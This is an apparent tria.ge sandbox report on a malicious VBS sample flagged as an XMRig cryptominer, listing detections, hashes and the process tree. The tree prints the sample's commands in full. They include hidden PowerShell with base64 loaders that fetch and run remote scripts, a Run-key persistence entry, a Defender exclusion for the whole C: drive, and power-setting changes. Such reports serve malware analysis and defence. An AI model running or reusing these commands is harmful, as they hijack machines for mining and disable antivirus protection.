Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
148s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20250129-en -
resource tags
arch:x64arch:x86image:win10v2004-20250129-enlocale:en-usos:windows10-2004-x64system -
submitted
31/01/2025, 04:21
Static task
static1
Behavioral task
behavioral1
Sample
acdcc9515147f1691ddb2c7cbd352a67ef6f0e57cb72ea593df2bd2fe01f0509.vbs
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
acdcc9515147f1691ddb2c7cbd352a67ef6f0e57cb72ea593df2bd2fe01f0509.vbs
Resource
win10v2004-20250129-en
General
-
Target
acdcc9515147f1691ddb2c7cbd352a67ef6f0e57cb72ea593df2bd2fe01f0509.vbs
-
Size
12.7MB
-
MD5
f7650386857dd0d31fb2a1e984dfd3b5
-
SHA1
f273746309e4dff543059ec934895108dd2b6244
-
SHA256
acdcc9515147f1691ddb2c7cbd352a67ef6f0e57cb72ea593df2bd2fe01f0509
-
SHA512
e8421e56ed514f38780d4c4d3261810c3b7374c3afad7016de0ef50905dba12d2661206162865da93ada5eeb733d9ed985fd2a4f205ee248a2ca3a3fa5607616
-
SSDEEP
49152:BnxqEP6D/zp8K91y5+30k5xTZq+4+EtVGnKTSB4IpQsBtK+gvA9hZKwPBdko9cgD:C
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
description pid Process procid_target PID 1344 created 3460 1344 powershell.exe 56 PID 1344 created 3460 1344 powershell.exe 56 -
Xmrig family
-
XMRig Miner payload 10 IoCs
resource yara_rule behavioral2/memory/4192-76-0x00007FF714660000-0x00007FF714EA0000-memory.dmp xmrig behavioral2/memory/4192-77-0x00007FF714660000-0x00007FF714EA0000-memory.dmp xmrig behavioral2/memory/4192-78-0x00007FF714660000-0x00007FF714EA0000-memory.dmp xmrig behavioral2/memory/4192-79-0x00007FF714660000-0x00007FF714EA0000-memory.dmp xmrig behavioral2/memory/4192-80-0x00007FF714660000-0x00007FF714EA0000-memory.dmp xmrig behavioral2/memory/4192-81-0x00007FF714660000-0x00007FF714EA0000-memory.dmp xmrig behavioral2/memory/4192-82-0x00007FF714660000-0x00007FF714EA0000-memory.dmp xmrig behavioral2/memory/4192-83-0x00007FF714660000-0x00007FF714EA0000-memory.dmp xmrig behavioral2/memory/4192-84-0x00007FF714660000-0x00007FF714EA0000-memory.dmp xmrig behavioral2/memory/4192-85-0x00007FF714660000-0x00007FF714EA0000-memory.dmp xmrig -
Blocklisted process makes network request 2 IoCs
flow pid Process 8 4288 powershell.exe 20 1344 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
pid Process 4288 powershell.exe 3536 powershell.exe 1344 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2436272344-4274332273-444425594-1000\Control Panel\International\Geo\Nation WScript.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2436272344-4274332273-444425594-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\dwm = "C:\\Users\\Admin\\dwm.bat" reg.exe -
Power Settings 1 TTPs 5 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
pid Process 2616 powercfg.exe 1624 powercfg.exe 740 powercfg.exe 3604 powercfg.exe 3192 cmd.exe -
Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 1344 set thread context of 4192 1344 powershell.exe 106 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Kills process with taskkill 1 IoCs
pid Process 4360 taskkill.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4288 powershell.exe 4288 powershell.exe 3536 powershell.exe 3536 powershell.exe 1344 powershell.exe 1344 powershell.exe 1344 powershell.exe 1344 powershell.exe 1344 powershell.exe 1344 powershell.exe 4192 explorer.exe 4192 explorer.exe 4192 explorer.exe 4192 explorer.exe 4192 explorer.exe 4192 explorer.exe 4192 explorer.exe 4192 explorer.exe 4192 explorer.exe 4192 explorer.exe 4192 explorer.exe 4192 explorer.exe 4192 explorer.exe 4192 explorer.exe 4192 explorer.exe 4192 explorer.exe 4192 explorer.exe 4192 explorer.exe 4192 explorer.exe 4192 explorer.exe 4192 explorer.exe 4192 explorer.exe 4192 explorer.exe 4192 explorer.exe 4192 explorer.exe 4192 explorer.exe 4192 explorer.exe 4192 explorer.exe 4192 explorer.exe 4192 explorer.exe 4192 explorer.exe 4192 explorer.exe 4192 explorer.exe 4192 explorer.exe 4192 explorer.exe 4192 explorer.exe 4192 explorer.exe 4192 explorer.exe 4192 explorer.exe 4192 explorer.exe 4192 explorer.exe 4192 explorer.exe 4192 explorer.exe 4192 explorer.exe 4192 explorer.exe 4192 explorer.exe 4192 explorer.exe 4192 explorer.exe 4192 explorer.exe 4192 explorer.exe 4192 explorer.exe 4192 explorer.exe 4192 explorer.exe 4192 explorer.exe -
Suspicious use of AdjustPrivilegeToken 14 IoCs
description pid Process Token: SeDebugPrivilege 4288 powershell.exe Token: SeDebugPrivilege 3536 powershell.exe Token: SeDebugPrivilege 4360 taskkill.exe Token: SeDebugPrivilege 1344 powershell.exe Token: SeShutdownPrivilege 2616 powercfg.exe Token: SeCreatePagefilePrivilege 2616 powercfg.exe Token: SeLockMemoryPrivilege 4192 explorer.exe Token: SeShutdownPrivilege 1624 powercfg.exe Token: SeCreatePagefilePrivilege 1624 powercfg.exe Token: SeLockMemoryPrivilege 4192 explorer.exe Token: SeShutdownPrivilege 740 powercfg.exe Token: SeCreatePagefilePrivilege 740 powercfg.exe Token: SeShutdownPrivilege 3604 powercfg.exe Token: SeCreatePagefilePrivilege 3604 powercfg.exe -
Suspicious use of WriteProcessMemory 25 IoCs
description pid Process procid_target PID 764 wrote to memory of 3604 764 WScript.exe 85 PID 764 wrote to memory of 3604 764 WScript.exe 85 PID 3604 wrote to memory of 3528 3604 cmd.exe 88 PID 3604 wrote to memory of 3528 3604 cmd.exe 88 PID 3528 wrote to memory of 4288 3528 cmd.exe 90 PID 3528 wrote to memory of 4288 3528 cmd.exe 90 PID 4288 wrote to memory of 5040 4288 powershell.exe 92 PID 4288 wrote to memory of 5040 4288 powershell.exe 92 PID 5040 wrote to memory of 1288 5040 csc.exe 93 PID 5040 wrote to memory of 1288 5040 csc.exe 93 PID 4288 wrote to memory of 2980 4288 powershell.exe 94 PID 4288 wrote to memory of 2980 4288 powershell.exe 94 PID 3528 wrote to memory of 2256 3528 cmd.exe 100 PID 3528 wrote to memory of 2256 3528 cmd.exe 100 PID 3528 wrote to memory of 1344 3528 cmd.exe 101 PID 3528 wrote to memory of 1344 3528 cmd.exe 101 PID 1344 wrote to memory of 4192 1344 powershell.exe 106 PID 3192 wrote to memory of 2616 3192 cmd.exe 107 PID 3192 wrote to memory of 2616 3192 cmd.exe 107 PID 3192 wrote to memory of 1624 3192 cmd.exe 108 PID 3192 wrote to memory of 1624 3192 cmd.exe 108 PID 3192 wrote to memory of 740 3192 cmd.exe 109 PID 3192 wrote to memory of 740 3192 cmd.exe 109 PID 3192 wrote to memory of 3604 3192 cmd.exe 110 PID 3192 wrote to memory of 3604 3192 cmd.exe 110
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3460
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\acdcc9515147f1691ddb2c7cbd352a67ef6f0e57cb72ea593df2bd2fe01f0509.vbs"2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:764 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\c.bat" "3⤵
- Suspicious use of WriteProcessMemory
PID:3604 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\c.bat"4⤵
- Suspicious use of WriteProcessMemory
PID:3528 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -noprofile -windowStyle Hidden -ep bypass -command "Invoke-Expression ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('aWV4IChJbnZva2UtV2ViUmVxdWVzdCAtVXJpICJodHRwczovLzB4MC5zdC84WDVULnBzMSIp')))"5⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4288 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\jcsx00kz\jcsx00kz.cmdline"6⤵
- Suspicious use of WriteProcessMemory
PID:5040 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9A2D.tmp" "c:\Users\Admin\AppData\Local\Temp\jcsx00kz\CSCC3F80D6B68D5442AA0485E18EA35A455.TMP"7⤵PID:1288
-
-
-
C:\windows\system32\cmstp.exe"C:\windows\system32\cmstp.exe" /au C:\windows\temp\hy2vd5hr.inf6⤵PID:2980
-
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "dwm" /t REG_SZ /d "C:\Users\Admin\dwm.bat" /f5⤵
- Adds Run key to start application
PID:2256
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hiDDen -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChbVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtDb252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ2FXVjRJQ2hKYm5admEyVXRWMlZpVW1WeGRXVnpkQ0F0VlhKcElDSm9kSFJ3T2k4dk1UVTJMakkxTXk0eU5UQXVOakk2TlRBd01DOWtiM2R1Ykc5aFpDOUhaVzVsY21GMFpXUlRZM0pwY0hRdWNITXhJaWs9JykpKTtlbXB0eXNlcnZpY2VzIC1ldHc7U3RhcnQtU2xlZXAgLVNlY29uZHMgMTA7ZnVuY3Rpb24gZ2VjdGltY2RnYmpsb2x6a2lxcmptaGN0aHhxeHpnbW51ZWtiaW5hbigkcGFyYW1fdmFyKXsJJGFlc192YXI9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7CSRhZXNfdmFyLk1vZGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQ2lwaGVyTW9kZV06OkNCQzsJJGFlc192YXIuUGFkZGluZz1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5QYWRkaW5nTW9kZV06OlBLQ1M3OwkkYWVzX3Zhci5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ0JFMEw2aUN3N3crTnBhVzcwNktsZ01UN3pxMkZHYXlReFkrWElkaHA4SEE9Jyk7CSRhZXNfdmFyLklWPVtTeXN0ZW0uQ29udmVydF06OignZ25pcnRTNDZlc2FCbW9yRidbLTEuLi0xNl0gLWpvaW4gJycpKCdmNGV6a1NJa2RhN1Ewcmk5R2VtSVF3PT0nKTsJJGRlY3J5cHRvcl92YXI9JGFlc192YXIuQ3JlYXRlRGVjcnlwdG9yKCk7CSRyZXR1cm5fdmFyPSRkZWNyeXB0b3JfdmFyLlRyYW5zZm9ybUZpbmFsQmxvY2soJHBhcmFtX3ZhciwgMCwgJHBhcmFtX3Zhci5MZW5ndGgpOwkkZGVjcnlwdG9yX3Zhci5EaXNwb3NlKCk7CSRhZXNfdmFyLkRpc3Bvc2UoKTsJJHJldHVybl92YXI7fWZ1bmN0aW9uIGZqbXNjcXVhYmZ3b2NjYXpjaW1rdmVlenB3cmtheGN2cWRkZHZrcXIoJHBhcmFtX3Zhcil7CUlFWCAnJGRwd3RreGtyZWx6emFxc2FmbWRneWt6ZGQ9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTUFBQUJCQkNDQ2VtQUFBQkJCQ0NDb3JBQUFCQkJDQ0N5U0FBQUJCQkNDQ3RyQUFBQkJCQ0NDZWFBQUFCQkJDQ0NtKCwkcGFyYW1fdmFyKTsnLlJlcGxhY2UoJ0FBQUJCQkNDQycsICcnKTsJSUVYICckYXl6eXhkcnN1Z2dpa3BybHpmcHljdWFsZD1OZXctT2JqZWN0IFN5c3RlbS5JTy5BQUFCQkJDQ0NNQUFBQkJCQ0NDZUFBQUJCQkNDQ21BQUFCQkJDQ0NvQUFBQkJCQ0NDckFBQUJCQkNDQ3lBQUFCQkJDQ0NTQUFBQkJCQ0NDdEFBQUJCQkNDQ3JBQUFCQkJDQ0NlQUFBQkJCQ0NDYUFBQUJCQkNDQ21BQUFCQkJDQ0M7Jy5SZXBsYWNlKCdBQUFCQkJDQ0MnLCAnJyk7CUlFWCAnJHhqaGt0dHB0cWp6bHRoaGhoZ2psc3Z3bHU9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FBQUJCQkNDQ29tQUFBQkJCQ0NDcHJBQUFCQkJDQ0NlQUFBQkJCQ0NDc3NBQUFCQkJDQ0Npb0FBQUJCQkNDQ24uQUFBQkJCQ0NDR1pBQUFCQkJDQ0NpcEFBQUJCQkNDQ1N0QUFBQkJCQ0NDcmVBQUFCQkJDQ0NhbUFBQUJCQkNDQygkZHB3dGt4a3JlbHp6YXFzYWZtZGd5a3pkZCwgW0lPLkNBQUFCQkJDQ0NvbUFBQUJCQkNDQ3ByQUFBQkJCQ0NDZXNBQUFCQkJDQ0NzaUFBQUJCQkNDQ29uQUFBQkJCQ0NDLkNvQUFBQkJCQ0NDbXBBQUFCQkJDQ0NyZUFBQUJCQkNDQ3NzQUFBQkJCQ0NDaUFBQUJCQkNDQ29BQUFCQkJDQ0NuQUFBQkJCQ0NDTW9kZV06OkRBQUFCQkJDQ0NlQUFBQkJCQ0NDY0FBQUJCQkNDQ29tcEFBQUJCQkNDQ3JlQUFBQkJCQ0NDc3MpOycuUmVwbGFjZSgnQUFBQkJCQ0NDJywgJycpOwkkeGpoa3R0cHRxanpsdGhoaGhnamxzdndsdS5Db3B5VG8oJGF5enl4ZHJzdWdnaWtwcmx6ZnB5Y3VhbGQpOwkkeGpoa3R0cHRxanpsdGhoaGhnamxzdndsdS5EaXNwb3NlKCk7CSRkcHd0a3hrcmVsenphcXNhZm1kZ3lremRkLkRpc3Bvc2UoKTsJJGF5enl4ZHJzdWdnaWtwcmx6ZnB5Y3VhbGQuRGlzcG9zZSgpOwkkYXl6eXhkcnN1Z2dpa3BybHpmcHljdWFsZC5Ub0FycmF5KCk7fWZ1bmN0aW9uIGFhd2ZqaGN5cG1yZ2ZzcWdraGlhaG5zdG1iam1hcWZmdGxuKCRwYXJhbV92YXIsJHBhcmFtMl92YXIpewkJSUVYICckeWZrZWFmeW91enVraWJucXB0Z3NhZnhpcXZvcXpsYm12cHVuZm9xZD1bU3lzdGVtLlJBQUFCQkJDQ0NlQUFBQkJCQ0NDZmxBQUFCQkJDQ0NlY3RBQUFCQkJDQ0Npb0FBQUJCQkNDQ24uQUFBQkJCQ0NDQXNBQUFCQkJDQ0NzZUFBQUJCQkNDQ21iQUFBQkJCQ0NDbEFBQUJCQkNDQ3lBQUFCQkJDQ0NdOjpMQUFBQkJCQ0NDb0FBQUJCQkNDQ2FBQUFCQkJDQ0NkQUFBQkJCQ0NDKFtieXRlW11dJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQUFCQkJDQ0MnLCAnJyk7CUlFWCAnJGF4eWhueHpmdnZjYnF0dXNoYm5lcmhvanlob3NoemthZGNyY2hwdXN3anVkaWF3Y3ZiPSR5ZmtlYWZ5b3V6dWtpYm5xcHRnc2FmeGlxdm9xemxibXZwdW5mb3FkLkFBQUJCQkNDQ0VBQUFCQkJDQ0NuQUFBQkJCQ0NDdEFBQUJCQkNDQ3JBQUFCQkJDQ0N5QUFBQkJCQ0NDUEFBQUJCQkNDQ29BQUFCQkJDQ0NpQUFBQkJCQ0NDbkFBQUJCQkNDQ3RBQUFCQkJDQ0M7Jy5SZXBsYWNlKCdBQUFCQkJDQ0MnLCAnJyk7CUlFWCAnJGF4eWhueHpmdnZjYnF0dXNoYm5lcmhvanlob3NoemthZGNyY2hwdXN3anVkaWF3Y3ZiLkFBQUJCQkNDQ0lBQUFCQkJDQ0NuQUFBQkJCQ0NDdkFBQUJCQkNDQ29BQUFCQkJDQ0NrQUFBQkJCQ0NDZUFBQUJCQkNDQygkbnVsbCwgJHBhcmFtMl92YXIpOycuUmVwbGFjZSgnQUFBQkJCQ0NDJywgJycpO30kbHpwaWprZmVjcGJtdnBsdnVybnlhYWlsbSA9ICRlbnY6VVNFUk5BTUU7JG5lYnBrbnZqa2Fmb2N4eHh2Y2d2cnZld3kgPSAnQzpcVXNlcnNcJyArICRsenBpamtmZWNwYm12cGx2dXJueWFhaWxtICsgJ0FBQUJCQkNDQ1xBQUFCQkJDQ0NkQUFBQkJCQ0NDd0FBQUJCQkNDQ21BQUFCQkJDQ0MuQUFBQkJCQ0NDYkFBQUJCQkNDQ2FBQUFCQkJDQ0N0QUFBQkJCQ0NDJy5SZXBsYWNlKCdBQUFCQkJDQ0MnLCAnJyk7JGhvc3QuVUkuUmF3VUkuV2luZG93VGl0bGUgPSAkbmVicGtudmprYWZvY3h4eHZjZ3ZydmV3eTskcHdkbWo9W1N5c3RlbS5JTy5GaWxlXTo6KCd0eGVUbGxBZGFlUidbLTEuLi0xMV0gLWpvaW4gJycpKCRuZWJwa252amthZm9jeHh4dmNndnJ2ZXd5KS5TcGxpdChbRW52aXJvbm1lbnRdOjpOZXdMaW5lKTtmb3JlYWNoICgkcXJ3IGluICRwd2RtaikgewlpZiAoJHFydy5TdGFydHNXaXRoKCc6OicpKQl7CQkkcmFmcXY9JHFydy5TdWJzdHJpbmcoMik7CQlicmVhazsJfX0kYWZ4YWRhaGt6cnJocmx1bmFtYmlyZG90endkcWN0dGpwZ249W3N0cmluZ1tdXSRyYWZxdi5TcGxpdCgnXCcpO0lFWCAnJGZmdWFwZ3ltYW5uYXlnYWdtaWhjeHFlYmh3cWhmeWhza3lvPWZqbXNjcXVhYmZ3b2NjYXpjaW1rdmVlenB3cmtheGN2cWRkZHZrcXIgKGdlY3RpbWNkZ2JqbG9semtpcXJqbWhjdGh4cXh6Z21udWVrYmluYW4gKFtBQUFCQkJDQ0NDQUFBQkJCQ0NDb0FBQUJCQkNDQ25BQUFCQkJDQ0N2QUFBQkJCQ0NDZUFBQUJCQkNDQ3J0XTo6QUFBQkJCQ0NDRkFBQUJCQkNDQ3JBQUFCQkJDQ0NvQUFBQkJCQ0NDbUFBQUJCQkNDQ0JBQUFCQkJDQ0NhQUFBQkJCQ0NDc2U2QUFBQkJCQ0NDNEFBQUJCQkNDQ1NBQUFCQkJDQ0N0QUFBQkJCQ0NDcmlBQUFCQkJDQ0NuQUFBQkJCQ0NDZ0FBQUJCQkNDQygkYWZ4YWRhaGt6cnJocmx1bmFtYmlyZG90endkcWN0dGpwZ25bMF0pKSk7Jy5SZXBsYWNlKCdBQUFCQkJDQ0MnLCAnJyk7SUVYICckaWdsbWJzcW9nbHZma2NuaGJoZHBvYXNzc3BxaGNmdnB6cnI9Zmptc2NxdWFiZndvY2NhemNpbWt2ZWV6cHdya2F4Y3ZxZGRkdmtxciAoZ2VjdGltY2RnYmpsb2x6a2lxcmptaGN0aHhxeHpnbW51ZWtiaW5hbiAoW0FBQUJCQkNDQ0NBQUFCQkJDQ0NvQUFBQkJCQ0NDbkFBQUJCQkNDQ3ZBQUFCQkJDQ0NlQUFBQkJCQ0NDckFBQUJCQkNDQ3RdOjpBQUFCQkJDQ0NGQUFBQkJCQ0NDckFBQUJCQkNDQ29BQUFCQkJDQ0NtQUFBQkJCQ0NDQkFBQUJCQkNDQ2FBQUFCQkJDQ0NzQUFBQkJCQ0NDZUFBQUJCQkNDQzZBQUFCQkJDQ0M0QUFBQkJCQ0NDU0FBQUJCQkNDQ3RyQUFBQkJCQ0NDaUFBQUJCQkNDQ25BQUFCQkJDQ0NnKCRhZnhhZGFoa3pycmhybHVuYW1iaXJkb3R6d2RxY3R0anBnblsxXSkpKTsnLlJlcGxhY2UoJ0FBQUJCQkNDQycsICcnKTthYXdmamhjeXBtcmdmc3Fna2hpYWhuc3RtYmptYXFmZnRsbiAkZmZ1YXBneW1hbm5heWdhZ21paGN4cWViaHdxaGZ5aHNreW8gJG51bGw7YWF3ZmpoY3lwbXJnZnNxZ2toaWFobnN0bWJqbWFxZmZ0bG4gJGlnbG1ic3FvZ2x2ZmtjbmhiaGRwb2Fzc3NwcWhjZnZwenJyICgsW3N0cmluZ1tdXSAoJyVBQUFCQkJDQ0MnKSk7')) | Invoke-Expression"5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1344
-
-
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of WriteProcessMemory
PID:3192 -
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2616
-
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1624
-
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:740
-
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3604
-
-
-
C:\Windows\explorer.exeC:\Windows\explorer.exe2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4192
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -c .('Add-MpP' + 'reference') -ExclusionPath C:\ -ExclusionProcess powershell.exe1⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3536
-
C:\Windows\system32\taskkill.exetaskkill /IM cmstp.exe /F1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4360
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
-
Filesize
1KB
MD54f87a8a31cd965f514ab826e94a10bea
SHA14f26f8362309bc0e5b7f951043c7092414ea6142
SHA25601a123987d096e8de60e44dd60263fc539979d63583a3bac29402c49ae0889d3
SHA51238e627384997ad3860bf06d70213e13c62e47d06e46a5f74b2923e7ef03980421ee6112940d3a54f7ccd19c00458b5c7b2fe1ce7763b942d0933a1545ef78699
-
Filesize
1KB
MD5a946c17cfb312655aae3200bae8efeb1
SHA1348db0d330c7c1e4662e14e127319560d0624dc9
SHA2565d715d0cf5a3decbbfc319161a6ad0bfc83b16e66feda6f4ae820bcef2de809f
SHA5125e53de000779a5f85e13d43e5d1ba0c4c57d27f7fa650ac16ca2dc58ab41a67455284ea43813bd864512bd05444197594f5eb76e1ca8f247031bb46478285d1b
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
12.7MB
MD57a1c7d3da7cf792dda3fcb171347daa1
SHA1fb4f7291f1e8c2d807f34e2e43f2bfa343f219a1
SHA256f03344def4aff1dafd24bd5a4e5c6e505a92a1c30c6bf3d11de9fea8cf187a39
SHA512bf3372f65d5019d08804ac0a5d2df16a25e7d11670f2bfdd332ca83d4e34fae5ca752a34b3158e1bafda34e018a3a4d0dcc64fbf6cff6326fa2ea916d4d44d21
-
Filesize
4KB
MD5577f3e96e457b4fc903e8f65f1bd87ef
SHA10a21d37cb5a3cd381105be438b8be7dfa9f09eef
SHA256c5e68aa5e648d61638251fd17aa858c51b177cd96d25a2162d8f0257b2bd91e1
SHA5124beb90ae9c94886ec1ffad7d12c637a6a45bc69f6fae79f77382759c0f54b8a3077138d14b42e674c32abfa4a149ed207f5f623cbaafa95501625fdd7c8f21f9
-
Filesize
667B
MD505662b83ff7db6317e391454787598d8
SHA1d290d661e282eb757a5292fe5ee8f2f8517232ab
SHA2560322b78214d9fb1d40d9bf162a44f9a5fe13fcb21c96b8b0f0e289e939a9fa5c
SHA512f1b302c58804c79e350cd2f30a2f08f762551cc8790ed3f0b877efd8915996587734afe9f0b4185cfbbcf589aa9b04762dd80d9d8141a5bf647de692299161e9
-
Filesize
652B
MD5d02ca524acc46238854fd5cb3894214a
SHA1ba45137948a23e4914986802f60cd47e1949d548
SHA256a639216f62bd315682bc088e74c279af7ab45e2500a188abfab9274804973bea
SHA51274a56726eeb4456a44121754cb860ab94732d8958eb34d6d9b6d41f7507ec2c06c0750e4eb6bce5ebff288bb09c3e2bc78ba7f1d3e7cf2786a5dd2ab067f860b
-
Filesize
2KB
MD5b126ac3da39ffa35cb857267cbc70cbb
SHA159dbfa9af3f2fa2c3bda0118ef779c0238675721
SHA2566e6dd39153a84b94b4f309a4c4521260cbdd8a6922ade46096f42da39bc20b93
SHA512c15d8ef56529792b983d55736c283ad6ae5c95bcd661053292f95c51f535109e4c59cf391e1c724be97e52ee4bfa213a380021f51c4e576201c03cfc4647acbc
-
Filesize
369B
MD5d8d68036326ecaea4c04108e5265c407
SHA164860ba13c778ecc0c0550a5cc0fc961f31351bc
SHA256eed0ffd7b16fc11d0d45939f174367d3e64bacfcfc50cf5fe832f82e6a4bc7af
SHA5123b3e3914ba0c46f33a68b2c56f9608e2cbcd7fb17e177baaf3c8c8b0a187e8c743a7bbe3d26c11f497971dc53ea7acf7971c7ed6d318edecb3552224d1b03c53